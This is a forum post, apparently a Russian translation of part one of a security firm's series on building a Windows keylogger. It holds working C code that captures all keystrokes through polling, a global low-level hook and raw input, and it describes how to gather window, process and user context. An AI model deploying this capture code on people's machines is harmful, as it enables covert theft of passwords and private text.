Написание достойного кейлоггера win32 [1/3]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этой серии статей мы рассказываем о тонкостях создания кейлоггера для Windows, способного поддерживать все раскладки клавиатуры и правильно реконструировать символы Юникода независимо от языка.

В первой части, после краткого введения, знакомящего с концепциями кодов сканирования, виртуальных клавиш , символов и глифов, мы описываем три различных способа захвата нажатий клавиш (GetKeyState, SetWindowsHookEx, GetRawInputData ) и различия между этими методами.

Во второй части мы подробно расскажем, как Windows хранит информацию о раскладках клавиатуры в файле kbd*.dll и как ее анализировать.

В третьей и последней части мы проходим процесс использования извлеченной информации для преобразования скан-кодов в символы и все сложные случаи, представленные различными раскладками, такими как лигатуры, мертвые клавиши, дополнительные состояния сдвига и SGCAPS.

Наконец, мы представляем нашу методологию для проверки и подтверждения правильности нашей реконструкции путем написания инструмента тестирования, который может автоматизировать внедрение скан-кодов и получать ссылочный текст, созданный Windows, который мы сравниваем с нашим восстановленным текстом.

Введение

Одной из обязанностей команды разработчиков Synacktiv является создание и поддержка инструментов наступательной безопасности, используемых другими отделами во время их работы. В дополнение к нашим основным проектам, таким как KRAQOZORUS, OURSIN, DISCONET и LEAKOZORUS, мы также стараемся выполнять более мелкие «запросы на исследования и разработки», которые могут быть полезны во время конкретных миссий.

В сегодняшней статье мы сосредоточимся на таком запросе: создании кейлоггера, предназначенного для Windows, который способен правильно реконструировать набираемые символы, независимо от того, какая раскладка клавиатуры и язык используются в целевой системе.

Что, как оказывается, не так просто, как вы думаете.

Ключевые понятия и терминология

Прежде чем мы начнем, важно представить несколько понятий, таких как коды сканирования, виртуальные клавиши, символы, глифы и раскладки.

СКАН КОДЫ

Вначале были коды сканирования, они представляют собой (одно- или многобайтовые) значения, создаваемые прошивкой клавиатуры и не зависящие от раскладки клавиатуры. Вот несколько примеров значений для стандартной клавиатуры ANSI US:

1710403929528.png



Многобайтовые коды сканирования всегда начинаются с 0xE0, 0xE1 или 0xE2 и иногда называются «расширенными» кодами сканирования. В предыдущем примере вы можете видеть, что они могут служить способом отличить левую клавишу управления от правой клавиши управления.

Верхний бит скан-кода указывает, нажата ли клавиша (0) или отпущена (1). Когда клавиша нажата, мы называем ее make code а когда она отпускается, она называется break code. Допустим, мы набрали «ctrl+r», и будут получены следующие коды сканирования:

1710403944404.png



Более подробную информацию о скан-кодах можно найти здесь (https://www.win.tue.nl/~aeb/linux/kbd/scancodes-10.html).

РАСКЛАДКИ

Windows позволяет вам настроить язык системы и один или несколько языков ввода. Настройки языка ввода влияют на языковые стандарты, форматы даты и времени и, что более важно для наших целей, на раскладки клавиатуры. Обратите внимание, что Windows может предлагать несколько раскладок для данного языка. Давайте посмотрим список раскладок на французском языке :

Французский (легаси, AZERTY)
Французский (стандартный, AZERTY)
Французский (стандартный, BÉPO, сторонний)
а также французский для других стран, таких как Бельгия, Канада, Швейцария и т. д.

Раскладки клавиатуры содержат информацию о том, как преобразовать коды сканирования в виртуальные клавиши, а затем в символы, которые можно отображать. Мы опишем их внутреннюю структуру более подробно позже в этой статье. Вы можете изучить все раскладки клавиатуры, поддерживаемые Windows, здесь (https://www.kbdlayout.info/).

ВИРТУАЛЬНЫЕ КЛАВИШИ

Коды виртуальных клавиш используются Windows для идентификации клавиш клавиатуры независимо от языка. Существует 256 кодов виртуальных клавиш, таблицу можно найти здесь (https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes). Допустим, мы нажимаем клавишу «A» на клавиатуре французского стандарта ISO 105, сначала с раскладкой fr-FR (AZERTY), затем с раскладкой en-US (QWERTY). Мы получим тот же код сканирования, но в результате будет другой код виртуального ключа.

1710403965543.png



СИМВОЛЫ И ГЛИФЫ

В контексте этой статьи мы называем символы Юникода в кодировке UTF-16-LE. Глифы представляют собой визуальное представление одного или нескольких символов Юникода и зависят от шрифта, используемого для отображения. Существует интересный случай, когда несколько символов Юникода могут быть представлены одним глифом, это называется лигатурой.

Теперь, когда мы разобрались со всем этим, давайте посмотрим, как мы можем записывать нажатия клавиш.

Запись нажатий клавиш

Хотя существует немало способов записи нажатий клавиш, в этой статье мы сосредоточимся только на хорошо известных методах пользовательской среды. Во всех следующих фрагментах кода мы вызываем одну и ту же функцию, process_kbd_event которую мы определяем следующим образом:

1710403986943.png



Здесь мы будем выполнять всю обработку, следующую за захватом нажатий клавиш, и выполнять реконструкцию потоков символов.

GETKEYSTATE

Первый метод, который мы опишем, использует функцию GetKeyState, предоставляемую user32.dll и определенную в winuser.h. Это позволяет получить текущее состояние для указанного входного виртуального ключа.

1710404000166.png



Эта функция работает на более высоком уровне (виртуальные клавиши), чем два следующих метода, которые работают на уровне скан-кода. Однако мы можем использовать эту функцию MapVirtualKeyA для получения кодов сканирования, вызвавших нажатие или отпускание виртуальной клавиши. Чтобы записать нажатия клавиш с помощью этой функции, вам необходимо вызвать ее несколько раз для всех 256 значений виртуальных клавиш, сохранить это состояние в памяти, а затем снова вызвать его немного позже и сравнить с текущим статусом. Всякий раз, когда состояние меняется, это означает, что клавиша была нажата или отпущена. Вы также можете использовать GetKeyboardState или GetAsyncKeyStateдля достижения тех же результатов. Вот рабочий фрагмент примера для захвата нажатия клавиш GetKeyState:

C: Скопировать в буфер обмена
Код:
// we start by defining a function to retrieve all virtual key states
void get_kb_state(short kbs[256])
{
    for(int i=0; i<256; i++)
        kbs[i] = GetKeyState(i);
}

int main()
{
    short kbs_last[256] = {};
    get_kb_state(kbs_last);

    while(1)
    {
        short kbs[256] = {};
        get_kb_state(kbs);

        for(int i=0; i<256; i++)
            if(kbs[i] != kbs_last[i])
            {
                // the virtual key with value "i" was toggled
                // get a "virtual scan code" for this virtual key
                int vsc = MapVirtualKeyA(i, MAPVK_VK_TO_VSC_EX);
                int e0 = ((vsc >> 8) & 0xff) == 0xe0;   // e0 ?
                int e1 = ((vsc >> 8) & 0xff) == 0xe1;   // e1 ?
                int sc = vsc & 0xff;                    // mask eventual scan code flags
                int up = (kbs[i] & 0xc0000000) == 0;    // check top bits to know if a key was pressed or released

                process_kbd_event(sc, e0, e1, up, i);
            }

        memcpy(kbs_last, kbs, sizeof(kbs_last));
        Sleep(5);
    }
}

Примечание: здесь есть побочный эффект работы с виртуальными клавишами вместо кодов сканирования, который требует дополнительного кода: различие между левыми/правыми/недифференцированными клавишами-модификаторами, такими как CONTROL, SHIFT и ALT. Для каждого из них в Windows есть три виртуальные клавиши: VK_CONTROL, которая запускается как левой (VK_LCONTROL), так и правой (VK_RCONTROL) клавишами управления. То же самое относится и к VK_MENU (клавиша Alt) и VK_SHIFT (клавиша Shift).

Примечание. Чтобы не нагружать слишком много процессора, мы вставляем спящий режим на 5 миллисекунд. Это значение можно увеличить или уменьшить по желанию, но имейте в виду, что если клавиша будет нажата и отпущена за время, меньшее, чем интервал опроса, программа пропустит событие!

Таким образом, используя пример кода захвата, нажатие клавиши Control (или Alt или Shift) запускает две клавиши process_kbd_event: одну для общей виртуальной клавиши VK_CONTROL и одну для «ручной» версии. Поэтому вы, вероятно, захотите отфильтровать общие виртуальные ключи и обрабатывать только определенные левые/правые версии.

SetWindowsHookEx

Другой метод, который можно использовать для получения нажатий клавиш, — это использование «глобального перехватчика Windows». Существует множество типов перехватчиков, которые вы можете использовать с SetWindowsHookEx, но мы сосредоточимся только на WH_KEYBOARD_LL. Упомянем еще один, который не дает столько информации о нажатиях клавиш: WH_KEYBOARD. Вот прототип функции:

1710404028537.png



Кроме того, перехватчики Windows могут работать в двух режимах: «глобальном» и «потоковом». При работе с перехватчиком на основе потока обратный вызов для обработки события должен быть упакован как dll, который будет внедрен в перехваченные процессы, чего мы предпочитаем избегать.

Перехватчики низкого уровня с суффиксом «_LL» могут работать только в глобальном режиме и не имеют такого ограничения. Это означает, что вы можете передавать значения NULL для hmod и dwThreadId.

Чтобы получать события клавиатуры низкого уровня, вам необходимо выполнить обратный вызов, а затем обработать сообщения о событиях окна. Вот рабочий пример получения нажатий клавиш с помощью этого метода:

C: Скопировать в буфер обмена
Код:
// the callback receiving SetWindowsHookEx WH_KEYBOARD_LL events
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wparm, LPARAM lparm)
{
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lparm;
    process_kbd_event(p->scanCode,
        p->flags & LLKHF_EXTENDED,
        0,
        p->flags & LLKHF_UP,
        p->vkCode
    );
    return CallNextHookEx(NULL, code, wparm, lparm);
}

int main()
{
    // register the hook
    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
    // pump windows events
    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    UnhookWindowsHookEx(hhkLowLevelKybd);
    return 0;
}

GETINPUTDATA

Последний метод, который мы опишем в этой статье, использует API прямого ввода для получения событий при нажатии клавиш. Этот метод требует немного больше работы для настройки:

- сначала вам нужно зарегистрировать собственный класс окна RegisterClassExA,
- затем вы используете CreateWindowExA для создания экземпляра окна, которое будет использоваться для обработки входных событий,
- теперь вы можете вызвать RegisterRawInputDevices, чтобы указать общую (0x01) клавиатуру (0x06), указать флаг RIDEV_INPUTSINK и, наконец, целевое окно, которое будет получать события,
- тогда вам нужен обратный вызов оконной процедуры, который обрабатывает WM_INPUT события,
- наконец, вы можете запустить цикл обработки сообщений, использующий GetMessage, TranslateMessage и DispatchMessage и начать получать события клавиатуры.

Собранный пример кода выглядит следующим образом:

C: Скопировать в буфер обмена
Код:
// to receive events for the rawkeyboard data
LRESULT CALLBACK wndproc(HWND window, UINT message, WPARAM wparam, LPARAM lparam)
{
    if(message != WM_INPUT)
        return DefWindowProc(window, message, wparam, lparam);

    char rid_buf[64];
    UINT rid_size = sizeof(rid_buf);

    if(GetRawInputData((HRAWINPUT)lparam, RID_INPUT, rid_buf, &rid_size, sizeof(RAWINPUTHEADER)))
    {
        RAWINPUT * raw = (RAWINPUT*)rid_buf;
        if(raw->header.dwType == RIM_TYPEKEYBOARD)
        {
            RAWKEYBOARD * rk = &raw->data.keyboard;
            process_kbd_event(rk->MakeCode,
                rk->Flags & RI_KEY_E0,
                rk->Flags & RI_KEY_E1,
                rk->Flags & RI_KEY_BREAK,
                rk->VKey
            );
        }
    }
    return DefWindowProc(window, message, wparam, lparam);
}

int main(void)
{
    //define a window class which is required to receive RAWINPUT events
    WNDCLASSEX wc;
    ZeroMemory(&wc, sizeof(WNDCLASSEX));
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.lpfnWndProc   = wndproc;
    wc.hInstance     = GetModuleHandle(NULL);
    wc.lpszClassName = "rawkbd_wndclass";

    // register class
    if(!RegisterClassExA(&wc))
        return -1;

    // create window
    HWND rawkbd_wnd = CreateWindowExA(0, wc.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, GetModuleHandle(NULL), NULL);
    if(!rawkbd_wnd)
        return -2;

    // setup raw input device sink
    RAWINPUTDEVICE devs = { 0x01 /* generic */, 0x06 /* keyboard */, RIDEV_INPUTSINK, rawkbd_wnd };
    if(RegisterRawInputDevices(&devs, 1, sizeof(RAWINPUTDEVICE)) == FALSE)
        return -3;

    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // cleanup
    DestroyWindow(rawkbd_wnd);
    UnregisterClass(wc.lpszClassName, GetModuleHandle(NULL));
    return 0;
}

Лично я предпочитаю этот метод двум другим, поскольку он работает на более низком уровне, позволяет избежать глобальных перехватов Windows и не требует многократного вызова очень заметной функции. Кстати, не стоит доверять значениям, RAWKEYBOARD->VKey так как в некоторых случаях они просто неверны (например, нажатие ALT-GR с французской раскладкой приведет к созданию виртуальной клавиши VK_CONTROL), хотя коды сканирования верны.

ПОЛУЧЕНИЕ КОНТЕКСТА

Мы представили три метода получения нажатий клавиш, но для восстановления потоков символов нам понадобится некоторая контекстная информация. Кроме того, чтобы создать достойный кейлоггер, нам понадобится дополнительная информация, такая как заголовок и процесс текущего окна, текущее имя пользователя, временные метки и так далее.

Первое, что нужно сделать, — это получить дескриптор текущего активного окна, поскольку именно оно будет получать нажатия клавиш. Затем мы хотим получить идентификатор потока, ответственного за обработку этого окна, что позволит нам вызывать HKL GetKeyboardLayout(HANDLE thread_id);дескриптор раскладки клавиатуры, используемой потоком активного окна. Вот как вы можете это сделать:

1710404091856.png



Чтобы получить идентификатор процесса, вы можете сначала использовать OpenThread() с THREAD_QUERY_INFORMATION, а затем вызвать GetProcessIdOfThread(), который вернет pid. Из PID вы можете получить имя процесса, перечислив запущенные процессы с помощью CreateToolhelp32Snapshot, Process32Firstи Process32Next. Другие полезные функции для получения контекстной информации включают GetSystemTime(), GetWindowTextA(), GetUserNameA()и т. д.

Примечание. Консольные программы не создают и не запускают собственное графическое окно, как оно обрабатывается conhost.exe поэтому GetKeyboardLayout() в этом примере вызов завершится неудачно.

В следующей статье мы расскажем, как анализировать библиотеки DLL раскладки клавиатуры Windows, чтобы иметь возможность эмулировать код сканирования в процесс перевода символов.

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://www.synacktiv.com/publications/writing-a-decent-win32-keylogger-13
 
Сверху Снизу